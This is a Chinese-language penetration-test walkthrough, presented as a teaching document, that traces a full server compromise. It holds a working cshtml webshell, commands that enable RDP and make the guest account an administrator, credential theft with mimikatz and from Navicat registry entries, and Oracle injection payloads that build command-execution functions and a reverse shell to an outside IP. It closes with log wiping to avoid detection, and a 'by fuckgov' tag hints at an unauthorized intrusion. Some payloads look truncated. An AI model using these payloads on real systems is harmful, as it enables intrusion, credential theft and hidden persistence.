一次综合渗透测试
字数 1352 2025-08-26 22:11:23

综合渗透测试技术教学文档

0x00 前言

本教学文档基于一次真实的渗透测试案例,详细记录了从信息收集到权限提升的全过程,涉及多种渗透测试技术和工具的使用方法。

0x01 突破后台

1.1 信息收集与目录扫描

  • 使用御剑等目录扫描工具发现敏感文件 admin.rar
  • 下载并分析后台源码结构,寻找可能的漏洞点

1.2 未授权访问漏洞利用

  • 通过源码分析发现存在未授权访问的功能点
  • 直接访问特定文件实现管理员账户添加
  • 成功进入后台管理系统

0x02 后台GetShell

2.1 上传点测试

  • 测试多个上传点,发现存在严格的白名单限制
  • 无法通过常规文件上传方式获取WebShell

2.2 文件包含漏洞利用

  • 发现include模块存在文件包含功能
  • 该功能允许创建和编辑cshtml文件
  • 使用特制的cshtml Webshell实现命令执行

cshtml Webshell示例代码:

@using System.CodeDom.Compiler;
@using System.Diagnostics;
@using System.Reflection;
@using System.Web.Compilation;
@functions {
    string ExecuteCommand(string command, string arguments = null){
        var output = new System.Text.StringBuilder();
        var process = new Process();
        var startInfo = new ProcessStartInfo{
            FileName = command,
            Arguments = arguments,
            WorkingDirectory = HttpRuntime.AppDomainAppPath,
            RedirectStandardOutput = true,
            RedirectStandardError = true,
            UseShellExecute = false
        };
        process.StartInfo = startInfo;
        process.OutputDataReceived += (sender, args) => output.AppendLine(args.Data);
        process.ErrorDataReceived += (sender, args) => output.AppendLine(args.Data); 
        process.Start();
        process.BeginOutputReadLine();
        process.BeginErrorReadLine();
        process.WaitForExit();
        return output.ToString();
    }
} 
@{var cmd = ExecuteCommand("cmd.exe", "/c whoami"); }
Output of the injected command (by fuckgov):@cmd

2.3 权限确认与持久化

  • 确认获得的权限为system级别
  • 通过echo命令写入更完整的WebShell便于后续操作

0x03 服务器提权

3.1 远程桌面服务配置

  • 检查3389端口状态:tasklist /svcnetstat -ano
  • 使用以下命令开启远程桌面服务:
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS != "") call setallowtsconnections 1
wmic /namespace:\\root\cimv2\terminalservices path win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') call setuserauthenticationrequired 1
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f

3.2 端口转发与代理

  • 尝试使用ngrok进行3389端口映射(遇到IP变化问题)
  • 使用reGeorg进行正向代理:
    • 上传reGeorg-master的aspx脚本
    • Windows下配合Proxifier进行代理连接

3.3 隐蔽账户添加

  • 启用guest账户并提升权限:
net user guest /active:yes
net user guest asdf123!
net localgroup administrators guest /add

0x04 信息收集

4.1 凭证获取

  • 使用mimikatz获取administrator账户密码
  • 分析浏览器保存的密码(发现弱口令)
  • 检查SQL Server密码(发现简单MD5加密,可破解)

4.2 远程连接记录分析

  • 检查mstsc连接记录
  • 使用获取的凭证尝试连接其他服务器

0x05 离线解密Navicat密码

5.1 注册表查询

  • 通过查询注册表获取Navicat保存的连接信息:
reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\NavicatOra\Servers /s /v host
reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\NavicatOra\Servers /s /v UserName
reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\NavicatOra\Servers /s /v pwd
reg query HKEY_CURRENT_USER\SOFTWARE\PremiumSoft\NavicatOra\Servers /s /v InitialDatabase

5.2 密码解密

  • 使用klionsec提供的解密工具解密获取的hash:
    • 工具地址:https://github.com/klionsec/Decryption-tool

0x06 Oracle提权与反弹Shell

6.1 Oracle命令执行

  1. 创建Java库:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args){try{BufferedReader myReader= new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString(END;'';END;--','SYS',0,'1',0) from dual
  1. 赋予Java权限:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(PUBLIC'SYS:java.io.FilePermission'execute'end;'''';END;'';END;--','SYS',0,'1',0) from dual
  1. 创建函数:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name''''''''LinxUtil.runCMD(java.lang.String) return String'END;'';END;--','SYS',0,'1',0) from dual
  1. 赋予函数执行权限:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
  1. 执行命令:
select sys.LinxRunCMD('/bin/bash -c /usr/bin/pwd') from dual

6.2 反弹Shell

  1. 创建Java代码:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "shell" as import java.io.*;import java.net.*;public class shell {public static void run() throws Exception{String[] aaa={"/bin/bash","-c","exec 9<> /dev/tcp/192.168.88.227/5678;exec 0<&9;exec 1>&9 2>&1;/bin/sh"};Process p=Runtime.getRuntime().exec(aaa)END;'';END;--','SYS',0,'1',0) from dual
  1. 赋予Java权限:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(PUBLIC'SYS:java.net.SocketPermission'end;'''';END;'';END;--','SYS',0,'1',0) from dual
  1. 创建函数:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function reversetcp RETURN VARCHAR2 as language java name ''''''''shell.run() return String'END;'';END;--','SYS',0,'1',0) from dual
  1. 赋予函数执行权限:
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on reversetcp to public'''';END;'';END;--','SYS',0,'1',0) from dual
  1. 触发反弹Shell:
select sys.reversetcp from dual

0x07 痕迹清理

  • 清除系统日志和操作痕迹
  • 保持隐蔽性,避免被发现

参考资源

  1. Oracle注入与命令执行:https://redn3ck.github.io/2018/04/25/Oracle%E6%B3%A8%E5%85%A5-%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C-Shell%E5%8F%8D%E5%BC%B9/
  2. 远程桌面服务开启:https://www.t00ls.net/viewthread.php?tid=22727&highlight=%E5%BC%803389
  3. klion师傅相关技术文章
综合渗透测试技术教学文档 0x00 前言 本教学文档基于一次真实的渗透测试案例,详细记录了从信息收集到权限提升的全过程,涉及多种渗透测试技术和工具的使用方法。 0x01 突破后台 1.1 信息收集与目录扫描 使用御剑等目录扫描工具发现敏感文件 admin.rar 下载并分析后台源码结构,寻找可能的漏洞点 1.2 未授权访问漏洞利用 通过源码分析发现存在未授权访问的功能点 直接访问特定文件实现管理员账户添加 成功进入后台管理系统 0x02 后台GetShell 2.1 上传点测试 测试多个上传点,发现存在严格的白名单限制 无法通过常规文件上传方式获取WebShell 2.2 文件包含漏洞利用 发现include模块存在文件包含功能 该功能允许创建和编辑cshtml文件 使用特制的cshtml Webshell实现命令执行 cshtml Webshell示例代码: 2.3 权限确认与持久化 确认获得的权限为system级别 通过echo命令写入更完整的WebShell便于后续操作 0x03 服务器提权 3.1 远程桌面服务配置 检查3389端口状态: tasklist /svc 和 netstat -ano 使用以下命令开启远程桌面服务: 3.2 端口转发与代理 尝试使用ngrok进行3389端口映射(遇到IP变化问题) 使用reGeorg进行正向代理: 上传reGeorg-master的aspx脚本 Windows下配合Proxifier进行代理连接 3.3 隐蔽账户添加 启用guest账户并提升权限: 0x04 信息收集 4.1 凭证获取 使用mimikatz获取administrator账户密码 分析浏览器保存的密码(发现弱口令) 检查SQL Server密码(发现简单MD5加密,可破解) 4.2 远程连接记录分析 检查mstsc连接记录 使用获取的凭证尝试连接其他服务器 0x05 离线解密Navicat密码 5.1 注册表查询 通过查询注册表获取Navicat保存的连接信息: 5.2 密码解密 使用klionsec提供的解密工具解密获取的hash: 工具地址:https://github.com/klionsec/Decryption-tool 0x06 Oracle提权与反弹Shell 6.1 Oracle命令执行 创建Java库: 赋予Java权限: 创建函数: 赋予函数执行权限: 执行命令: 6.2 反弹Shell 创建Java代码: 赋予Java权限: 创建函数: 赋予函数执行权限: 触发反弹Shell: 0x07 痕迹清理 清除系统日志和操作痕迹 保持隐蔽性,避免被发现 参考资源 Oracle注入与命令执行:https://redn3ck.github.io/2018/04/25/Oracle%E6%B3%A8%E5%85%A5-%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C-Shell%E5%8F%8D%E5%BC%B9/ 远程桌面服务开启:https://www.t00ls.net/viewthread.php?tid=22727&highlight=%E5%BC%803389 klion师傅相关技术文章